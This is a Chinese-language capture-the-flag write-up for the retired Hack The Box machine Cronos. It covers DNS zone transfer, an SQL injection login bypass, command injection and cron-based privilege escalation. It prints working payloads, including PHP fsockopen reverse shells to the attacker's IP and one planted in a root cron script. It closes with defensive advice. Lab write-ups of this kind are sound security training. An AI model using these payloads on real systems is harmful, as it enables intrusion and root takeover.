HTB: Cronos渗透测试
字数 1027 2025-08-14 12:04:09

Cronos渗透测试实战教学文档

1. 靶机概述

Cronos是Hack The Box平台上一台已退役的Linux靶机,难度等级为中等。该靶机模拟了真实环境中的Web应用和系统配置漏洞,涉及DNS枚举、SQL注入、命令注入和定时任务提权等技术点。

2. 环境准备

  • 攻击机:Kali Linux
  • 靶机IP:10.129.30.241 (原HTB地址可能不同)
  • 工具准备
    • nmap
    • dig
    • netcat
    • LinEnum.sh

3. 信息收集阶段

3.1 端口扫描

使用nmap进行全面扫描:

nmap -sV -A -O -T4 10.129.30.241

扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

关键发现:

  • 53端口运行DNS服务(BIND 9.10.3-P4)
  • 80端口运行Apache 2.4.18
  • 系统为Ubuntu

3.2 DNS枚举

  1. 将域名添加到hosts文件:
echo "10.129.30.241 cronos.htb" >> /etc/hosts
  1. 使用dig进行DNS区域传输尝试:
dig axfr @10.129.30.241 cronos.htb
  1. 发现子域名:
admin.cronos.htb
www.cronos.htb

4. 漏洞利用阶段

4.1 Web应用测试

访问http://admin.cronos.htb发现登录页面

4.2 SQL注入绕过认证

在登录表单尝试SQL注入:

用户名: ' or 1=1 --
密码: 任意

成功绕过认证进入后台

4.3 命令注入

在后台发现可执行命令的功能,测试命令注入:

8.8.8.8;ls

确认存在命令注入漏洞后,建立反向shell:

php -r '$sock=fsockopen("攻击机IP",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

在攻击机监听:

nc -lvnp 4242

4.4 获取交互式shell

在获得的简单shell中升级为完全交互式TTY:

python -c 'import pty;pty.spawn("/bin/bash")'

5. 权限提升阶段

5.1 初步枚举

  1. 查看用户文件:
cd /home
ls
cat user.txt
  1. 使用LinEnum.sh进行系统枚举:
./LinEnum.sh

5.2 发现定时任务

枚举发现存在定时任务执行/var/www/laravel/artisan

5.3 利用定时任务提权

  1. 检查artisan文件权限:
ls -la /var/www/laravel/artisan
  1. 发现当前用户有写权限,修改artisan内容:
echo '<?php $sock = fsockopen("攻击机IP",1234);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>' > /var/www/laravel/artisan
  1. 在攻击机监听新端口:
nc -lvnp 1234
  1. 等待定时任务执行,获得root权限shell

5.4 获取root flag

cd /root
cat root.txt

6. 技术要点总结

  1. DNS枚举:通过区域传输获取子域名信息
  2. SQL注入:使用经典' or 1=1 --绕过认证
  3. 命令注入:在可执行命令处注入分号执行额外命令
  4. 定时任务提权:利用可写的定时任务脚本获取root权限
  5. 反向shell技巧:使用PHP建立反向连接

7. 安全建议

  1. 对用户输入进行严格过滤
  2. 避免使用动态命令执行函数
  3. 为定时任务设置最小权限原则
  4. 定期更新DNS服务(BIND)
  5. 对敏感文件设置适当的权限控制

通过本案例可以学习到从信息收集到权限提升的完整渗透测试流程,特别是DNS枚举与定时任务提权等技术的实际应用。

Cronos渗透测试实战教学文档 1. 靶机概述 Cronos是Hack The Box平台上一台已退役的Linux靶机,难度等级为中等。该靶机模拟了真实环境中的Web应用和系统配置漏洞,涉及DNS枚举、SQL注入、命令注入和定时任务提权等技术点。 2. 环境准备 攻击机 :Kali Linux 靶机IP :10.129.30.241 (原HTB地址可能不同) 工具准备 : nmap dig netcat LinEnum.sh 3. 信息收集阶段 3.1 端口扫描 使用nmap进行全面扫描: 扫描结果: 关键发现: 53端口运行DNS服务(BIND 9.10.3-P4) 80端口运行Apache 2.4.18 系统为Ubuntu 3.2 DNS枚举 将域名添加到hosts文件: 使用dig进行DNS区域传输尝试: 发现子域名: 4. 漏洞利用阶段 4.1 Web应用测试 访问http://admin.cronos.htb发现登录页面 4.2 SQL注入绕过认证 在登录表单尝试SQL注入: 成功绕过认证进入后台 4.3 命令注入 在后台发现可执行命令的功能,测试命令注入: 确认存在命令注入漏洞后,建立反向shell: 在攻击机监听: 4.4 获取交互式shell 在获得的简单shell中升级为完全交互式TTY: 5. 权限提升阶段 5.1 初步枚举 查看用户文件: 使用LinEnum.sh进行系统枚举: 5.2 发现定时任务 枚举发现存在定时任务执行/var/www/laravel/artisan 5.3 利用定时任务提权 检查artisan文件权限: 发现当前用户有写权限,修改artisan内容: 在攻击机监听新端口: 等待定时任务执行,获得root权限shell 5.4 获取root flag 6. 技术要点总结 DNS枚举 :通过区域传输获取子域名信息 SQL注入 :使用经典' or 1=1 --绕过认证 命令注入 :在可执行命令处注入分号执行额外命令 定时任务提权 :利用可写的定时任务脚本获取root权限 反向shell技巧 :使用PHP建立反向连接 7. 安全建议 对用户输入进行严格过滤 避免使用动态命令执行函数 为定时任务设置最小权限原则 定期更新DNS服务(BIND) 对敏感文件设置适当的权限控制 通过本案例可以学习到从信息收集到权限提升的完整渗透测试流程,特别是DNS枚举与定时任务提权等技术的实际应用。